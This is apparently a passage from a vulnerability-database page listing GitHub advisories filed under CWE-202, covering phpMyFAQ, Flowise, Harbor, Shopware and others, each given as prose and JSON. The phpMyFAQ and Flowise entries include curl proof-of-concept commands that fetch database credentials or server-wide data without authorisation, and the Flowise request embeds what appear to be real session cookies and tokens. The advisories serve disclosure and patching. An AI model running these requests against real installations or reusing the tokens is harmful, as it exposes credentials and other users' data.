Common Weakness Enumeration

CWE-202

Allowed

Exposure of Sensitive Information Through Data Queries

Abstraction: Base · Status: Draft

When trying to keep information confidential, an attacker can often infer some of the information by using statistics.

69 vulnerabilities reference this CWE, most recent first.

GHSA-87XG-G898-RH5Q

Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-10 18:32
VLAI
Details

Dell Wyse Management Suite, versions prior to WMS 5.2, contain an Exposure of Sensitive Information Through Data Queries vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-36575"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-202"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T18:15:31Z",
    "severity": "HIGH"
  },
  "details": "Dell Wyse Management Suite, versions prior to WMS 5.2, contain an Exposure of Sensitive Information Through Data Queries vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.",
  "id": "GHSA-87xg-g898-rh5q",
  "modified": "2025-06-10T18:32:32Z",
  "published": "2025-06-10T18:32:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36575"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000325679/dsa-2025-226"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9CG9-4H4F-J6FG

Vulnerability from github – Published: 2025-12-30 15:31 – Updated: 2025-12-30 15:31
VLAI
Summary
phpMyFAQ has unauthenticated config backup download via /api/setup/backup
Details

Summary

An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.

Details

The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.

Relevant code paths: - Rewrite rule exposing the endpoint: - phpmyfaq/.htaccess: RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA] - Controller implementation: - phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php → backup() - No call to hasValidToken(), userIsAuthenticated(), or any permission check - Backup creation: - phpmyfaq/src/phpMyFAQ/Setup/Update.php → createConfigBackup() - Writes the ZIP into the config directory and returns a public URL under content/core/config/

PoC

Replace BASE_URL with your instance URL.

1) Trigger config backup generation without authentication:

BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
  -H "Content-Type: text/plain" \
  --data "4.1.0-RC"

Expected result: 200 OK with JSON containing backupFile.

2) Copy the backupFile URL from the JSON response and download it (still without authentication):

# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip

3) Verify sensitive content exists in the ZIP:

unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php

Observed: database.php is included and contains DB host/user/password.

Impact

  • Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
  • Who is impacted: Any internet-exposed phpMyFAQ installation where the default .htaccess rewrite rules are active and the endpoint is reachable.
  • Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0-alpha"
            },
            {
              "last_affected": "4.1.0-beta.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69200"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-202"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-30T15:31:19Z",
    "nvd_published_at": "2025-12-29T16:15:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise.\n\n### Details\nThe endpoint `/api/setup/backup` is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an \u201cinstalled version\u201d string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.\n\nRelevant code paths:\n- Rewrite rule exposing the endpoint:\n  - `phpmyfaq/.htaccess`: `RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]`\n- Controller implementation:\n  - `phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php` \u2192 `backup()`\n    - No call to `hasValidToken()`, `userIsAuthenticated()`, or any permission check\n- Backup creation:\n  - `phpmyfaq/src/phpMyFAQ/Setup/Update.php` \u2192 `createConfigBackup()`\n    - Writes the ZIP into the config directory and returns a public URL under `content/core/config/`\n\n### PoC\nReplace `BASE_URL` with your instance URL.\n\n1) Trigger config backup generation without authentication:\n\n```bash\nBASE_URL=\"http://localhost\"\ncurl -i -X POST \"${BASE_URL}/api/setup/backup\" \\\n  -H \"Content-Type: text/plain\" \\\n  --data \"4.1.0-RC\"\n```\n\nExpected result: `200 OK` with JSON containing `backupFile`.\n\n2) Copy the `backupFile` URL from the JSON response and download it (still without authentication):\n\n```bash\n# Example (replace with the exact URL returned in step 1)\ncurl -i \"http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip\" -o phpmyfaq-config-backup.zip\n```\n\n3) Verify sensitive content exists in the ZIP:\n\n```bash\nunzip -l phpmyfaq-config-backup.zip\nunzip -p phpmyfaq-config-backup.zip database.php\n```\n\nObserved: `database.php` is included and contains DB host/user/password.\n\n### Impact\n- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.\n- Who is impacted: Any internet-exposed phpMyFAQ installation where the default `.htaccess` rewrite rules are active and the endpoint is reachable.\n- Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.",
  "id": "GHSA-9cg9-4h4f-j6fg",
  "modified": "2025-12-30T15:31:19Z",
  "published": "2025-12-30T15:31:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69200"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/b0e99ee3695152115841cb546d8dce64ceb8c29a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ has unauthenticated config backup download via /api/setup/backup"
}

GHSA-F2VV-H5X4-57GR

Vulnerability from github – Published: 2021-02-10 02:32 – Updated: 2021-10-05 16:12
VLAI
Summary
Leak of information via Store-API
Details

Impact

Leak of information via Store-API

Patches

We recommend to update to the current version 6.3.5.1. You can get the update to 6.3.5.1 regularly via the Auto-Updater or directly via the download overview.

https://www.shopware.com/en/download/#shopware-6

The vulnerability could only be fixed by changing the API system, which involves a non-backward-compatible change. Only consumers of the Store-API should be affected by this change. Please check your plugins if you have it in use. Detailed technical information can be found in the upgrade information.

https://github.com/shopware/platform/blob/v6.3.5.1/UPGRADE-6.3.md#6351

Workarounds

For older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.

https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659

For more information

https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-02-2021

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.3.5.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.3.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-202"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-10T02:17:41Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\nLeak of information via Store-API\n\n### Patches\nWe recommend to update to the current version 6.3.5.1. You can get the update to 6.3.5.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\nThe vulnerability could only be fixed by changing the API system, which involves a non-backward-compatible change. Only consumers of the Store-API should be affected by this change. Please check your plugins if you have it in use. Detailed technical information can be found in the upgrade information.\n\nhttps://github.com/shopware/platform/blob/v6.3.5.1/UPGRADE-6.3.md#6351\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-02-2021",
  "id": "GHSA-f2vv-h5x4-57gr",
  "modified": "2021-10-05T16:12:44Z",
  "published": "2021-02-10T02:32:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/platform/security/advisories/GHSA-f2vv-h5x4-57gr"
    },
    {
      "type": "WEB",
      "url": "https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-02-2021"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/platform"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/platform/blob/v6.3.5.1/UPGRADE-6.3.md#6351"
    },
    {
      "type": "WEB",
      "url": "https://packagist.org/packages/shopware/platform"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Leak of information via Store-API"
}

GHSA-FR6G-7CQ8-FG82

Vulnerability from github – Published: 2026-08-04 17:57 – Updated: 2026-08-04 17:57
VLAI
Summary
Flowise: Information Disclosure in GET /api/v1/upsert-history returns the entire server-wide upsert history
Details

Summary

The GET /api/v1/upsert-history endpoint returns the entire server-wide upsert history (response size >100MB) instead of being scoped to the requesting user/tenant/workspace. The response includes sensitive configuration data (e.g., Vector Store settings such as Qdrant Server URL and collection name), resulting in a High severity information disclosure that may enable further targeted attacks.

Details

  • Affected endpoint: GET /api/v1/upsert-history
  • Observed behavior: The API returns global upsert history for the whole server, indicating missing/insufficient:
  • Authorization checks (RBAC/user-based access control)
  • Data scoping (workspace/project/tenant isolation)
  • Pagination/limits (excessive data exposure and very large responses)
  • Sensitive data exposure: The returned history contains integration parameters and infrastructure details. Example excerpt from the response: ```json { "label": "Qdrant", "name": "qdrant", "category": "Vector Stores", "id": "qdrant_0", "paramValues": [ { "label": "Qdrant Server URL", "name": "qdrantServerUrl", "type": "string", "value": "https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io" }, { "label": "Qdrant Collection Name", "name": "qdrantCollection", "type": "string", "value": "fair-herring-azure" }, { "label": "Vector Dimension", "name": "qdrantVectorDimension", "type": "number", "value": 1536 }, { "label": "Content Key", "name": "contentPayloadKey", "type": "string", "value": "content" }, { "label": "Metadata Key", "name": "metadataPayloadKey", "type": "string", "value": "metadata" }, { "label": "Similarity", "name": "qdrantSimilarity", "type": "options", "value": "Cosine" } ] }

POC

  1. Using curl and call the enpoint GET /api/v1/upsert-history, sever returns the entire server-wide upsert history
curl 'https://cloud.flowiseai.com/api/v1/upsert-history'   -X GET   -H 'Host: cloud.flowiseai.com'   -H 'Accept: application/json, text/plain, */*'   -H 'Accept-Language: en-US,en;q=0.9'   -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0'   -H 'X-Request-From: internal'   -H 'Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819'   -H 'If-None-Match: W/"156-Xbc+zqRKlJRZDUydYMybuU4SQnY"'   -H 'Connection: keep-alive'   -H 'Cookie: _ga_DG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; _ga=GA1.1.938844242.1773632276; cf_clearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5_cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VM_h9p0_xICarIdDdB0hWfriItN1qbu00tqEmDgE_v2biNpNETXF3nC0wByJmhNWOcSh95lBd_Q5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhNmU2MjJjNmFiMWU1MWEwYzcwNmViOWVkODA2MDFmZjpjYjIyN2ZhMjA4ZDIwYjk0NjAxMjFlNDhkZTZjZDg4Yzk0NmMwNzBjZjhhMGYwNDBlNzEzOTkzOTkyMzNmZWQ3ZWViNjk0ZmE3NGY4MGJkOTA1ZjZkM2I2Y2FlYmI5YmRjMWQ3YTgxZjMxNzBkYjI5MDJlMGYzNmZiN2I0ZDc2YWRkNjkzZmI5YWE5OGNjYjc1ZWI0OGVmMjBjMWNjNmU4IiwiaWF0IjoxNzczNjMzMDA0LCJuYmYiOjE3NzM2MzMwMDQsImV4cCI6MTc3NjIyNTAwNCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.0HlslRzoFo0Tlt4Jbn9gnEwsQej4ilMd8qjhLBZQO5Q; __cf_bm=.BG97WtFqwwk0DMVJB1BlcHRdhQv70bLu4f_QpH5qo4-1773721030-1.0.1.1-IwhUPW6O9uNcNsOZl7LLgpnm8_ll18rzoOFu085wZQQgTvVvaPwVFJObxSJ1.NRyS5MWsRbJi1BhUNMTJjSR2s9EyuSBzn2s_eXblq8rTh8'   --compressed   -sS -o resp.json
  1. Verify the response size (expected: very large, e.g., >100MB)
ls -lh resp.json

Impact

  • Vulnerability type: Information Disclosure / Broken Access Control (missing authorization and/or missing tenant/workspace scoping)
  • Who is impacted: All users/tenants/workspaces whose upsert history and configuration data are included in the server-wide history
  • Security consequences:
  • Exposure of infrastructure/integration details (e.g., Qdrant endpoint URLs, collection names, vector dimensions), enabling reconnaissance and targeted follow-up attacks
  • Leakage of internal schema/pipeline details (e.g., content/metadata keys)
  • Potential resource abuse: repeated downloads of a >100MB response can increase bandwidth/CPU/memory load (amplifying DoS risk)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70473"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-202",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T17:57:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe **GET `/api/v1/upsert-history`** endpoint returns the **entire server-wide upsert history** (response size **\u003e100MB**) instead of being scoped to the requesting user/tenant/workspace. The response includes **sensitive configuration data** (e.g., Vector Store settings such as **Qdrant Server URL** and **collection name**), resulting in a **High severity information disclosure** that may enable further targeted attacks.\n\n### Details\n- **Affected endpoint:** `GET /api/v1/upsert-history`\n- **Observed behavior:** The API returns **global upsert history for the whole server**, indicating missing/insufficient:\n  - Authorization checks (RBAC/user-based access control)\n  - Data scoping (workspace/project/tenant isolation)\n  - Pagination/limits (excessive data exposure and very large responses)\n- **Sensitive data exposure:** The returned history contains integration parameters and infrastructure details. Example excerpt from the response:\n  ```json\n  {\n    \"label\": \"Qdrant\",\n    \"name\": \"qdrant\",\n    \"category\": \"Vector Stores\",\n    \"id\": \"qdrant_0\",\n    \"paramValues\": [\n      {\n        \"label\": \"Qdrant Server URL\",\n        \"name\": \"qdrantServerUrl\",\n        \"type\": \"string\",\n        \"value\": \"https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io\"\n      },\n      {\n        \"label\": \"Qdrant Collection Name\",\n        \"name\": \"qdrantCollection\",\n        \"type\": \"string\",\n        \"value\": \"fair-herring-azure\"\n      },\n      {\n        \"label\": \"Vector Dimension\",\n        \"name\": \"qdrantVectorDimension\",\n        \"type\": \"number\",\n        \"value\": 1536\n      },\n      {\n        \"label\": \"Content Key\",\n        \"name\": \"contentPayloadKey\",\n        \"type\": \"string\",\n        \"value\": \"content\"\n      },\n      {\n        \"label\": \"Metadata Key\",\n        \"name\": \"metadataPayloadKey\",\n        \"type\": \"string\",\n        \"value\": \"metadata\"\n      },\n      {\n        \"label\": \"Similarity\",\n        \"name\": \"qdrantSimilarity\",\n        \"type\": \"options\",\n        \"value\": \"Cosine\"\n      }\n    ]\n  }\n\n### POC \n\n1. Using `curl` and call the enpoint `GET  /api/v1/upsert-history`, sever returns the **entire server-wide upsert history**\n```\ncurl \u0027https://cloud.flowiseai.com/api/v1/upsert-history\u0027   -X GET   -H \u0027Host: cloud.flowiseai.com\u0027   -H \u0027Accept: application/json, text/plain, */*\u0027   -H \u0027Accept-Language: en-US,en;q=0.9\u0027   -H \u0027User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0\u0027   -H \u0027X-Request-From: internal\u0027   -H \u0027Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819\u0027   -H \u0027If-None-Match: W/\"156-Xbc+zqRKlJRZDUydYMybuU4SQnY\"\u0027   -H \u0027Connection: keep-alive\u0027   -H \u0027Cookie: _ga_DG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; _ga=GA1.1.938844242.1773632276; cf_clearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5_cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VM_h9p0_xICarIdDdB0hWfriItN1qbu00tqEmDgE_v2biNpNETXF3nC0wByJmhNWOcSh95lBd_Q5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhNmU2MjJjNmFiMWU1MWEwYzcwNmViOWVkODA2MDFmZjpjYjIyN2ZhMjA4ZDIwYjk0NjAxMjFlNDhkZTZjZDg4Yzk0NmMwNzBjZjhhMGYwNDBlNzEzOTkzOTkyMzNmZWQ3ZWViNjk0ZmE3NGY4MGJkOTA1ZjZkM2I2Y2FlYmI5YmRjMWQ3YTgxZjMxNzBkYjI5MDJlMGYzNmZiN2I0ZDc2YWRkNjkzZmI5YWE5OGNjYjc1ZWI0OGVmMjBjMWNjNmU4IiwiaWF0IjoxNzczNjMzMDA0LCJuYmYiOjE3NzM2MzMwMDQsImV4cCI6MTc3NjIyNTAwNCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.0HlslRzoFo0Tlt4Jbn9gnEwsQej4ilMd8qjhLBZQO5Q; __cf_bm=.BG97WtFqwwk0DMVJB1BlcHRdhQv70bLu4f_QpH5qo4-1773721030-1.0.1.1-IwhUPW6O9uNcNsOZl7LLgpnm8_ll18rzoOFu085wZQQgTvVvaPwVFJObxSJ1.NRyS5MWsRbJi1BhUNMTJjSR2s9EyuSBzn2s_eXblq8rTh8\u0027   --compressed   -sS -o resp.json\n```\n2. Verify the response size (expected: very large, e.g., \u003e100MB)\n```\nls -lh resp.json\n```\n\n### Impact\n- **Vulnerability type:** Information Disclosure / Broken Access Control (missing authorization and/or missing tenant/workspace scoping)\n- **Who is impacted:** All users/tenants/workspaces whose upsert history and configuration data are included in the server-wide history\n- **Security consequences:**\n  - Exposure of infrastructure/integration details (e.g., Qdrant endpoint URLs, collection names, vector dimensions), enabling reconnaissance and targeted follow-up attacks\n  - Leakage of internal schema/pipeline details (e.g., content/metadata keys)\n  - Potential resource abuse: repeated downloads of a \u003e100MB response can increase bandwidth/CPU/memory load (amplifying DoS risk)",
  "id": "GHSA-fr6g-7cq8-fg82",
  "modified": "2026-08-04T17:57:27Z",
  "published": "2026-08-04T17:57:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-fr6g-7cq8-fg82"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6170"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/d81483b70c997ddf981acc9c49fbd9a02fa345cd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:L/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Information Disclosure in GET /api/v1/upsert-history returns the entire server-wide upsert history"
}

GHSA-G67V-GQ6F-P8X3

Vulnerability from github – Published: 2024-06-24 21:33 – Updated: 2024-07-03 18:46
VLAI
Details

WAVLINK WN551K1'live_mfg.shtml enables attackers to obtain sensitive router information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-38895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-202"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-24T21:15:26Z",
    "severity": "MODERATE"
  },
  "details": "WAVLINK WN551K1\u0027live_mfg.shtml enables attackers to obtain sensitive router information.",
  "id": "GHSA-g67v-gq6f-p8x3",
  "modified": "2024-07-03T18:46:35Z",
  "published": "2024-06-24T21:33:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38895"
    },
    {
      "type": "WEB",
      "url": "https://github.com/s4ndw1ch136/IOT-vuln-reports/tree/main/Wavlink/WN551K1/live_mfg.shtml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H27M-3QW8-3PW8

Vulnerability from github – Published: 2025-07-23 15:47 – Updated: 2025-07-25 16:23
VLAI
Summary
Possible ORM Leak Vulnerability in the Harbor
Details

Impact

Administrator users on Harbor could exploit an ORM Leak (https://www.elttam.com/blog/plormbing-your-django-orm/) vulnerability that was present in the /api/v2.0/users endpoint to leak users' password hash and salt values. This vulnerability was introduced into the application because the q URL parameter allowed the administrator to filter users by any column, and the filter password=~ could be abused to leak out a user's password hash character by character.

An attacker with administrator access could exploit this vulnerability to leak highly sensitive information stored on the Harbor database, as demonstrated in the attached writeup by the leaking of users' password hashes and salts. All endpoints that support the q URL parameter are vulnerable to this ORM leak attack, and could potentially be exploitable by lower privileged users to gain unauthorised access to other sensitive information.

Patches

No available

Workarounds

NA

References

Credit

alex@elttam.com

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.13.0"
            },
            {
              "fixed": "2.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.13.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0-rc1.1"
            },
            {
              "fixed": "2.12.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.0-rc1.0.20250331071157-dce7d9f5cffb"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30086"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-202"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-23T15:47:31Z",
    "nvd_published_at": "2025-07-25T15:15:26Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAdministrator users on Harbor could exploit an ORM Leak (https://www.elttam.com/blog/plormbing-your-django-orm/) vulnerability that was present in the `/api/v2.0/users` endpoint to leak users\u0027 password hash and salt values. This vulnerability was introduced into the application because the `q` URL parameter allowed the administrator to filter users by any column, and the filter `password=~` could be abused to leak out a user\u0027s password hash character by character.\n\nAn attacker with administrator access could exploit this vulnerability to leak highly sensitive information stored on the Harbor database, as demonstrated in the attached writeup by the leaking of users\u0027 password hashes and salts. All endpoints that support the `q` URL parameter are vulnerable to this ORM leak attack, and could potentially be exploitable by lower privileged users to gain unauthorised access to other sensitive information. \n\n\n### Patches\nNo available\n\n### Workarounds\nNA\n\n### References\n\n### Credit\nalex@elttam.com",
  "id": "GHSA-h27m-3qw8-3pw8",
  "modified": "2025-07-25T16:23:52Z",
  "published": "2025-07-23T15:47:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/goharbor/harbor/security/advisories/GHSA-h27m-3qw8-3pw8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30086"
    },
    {
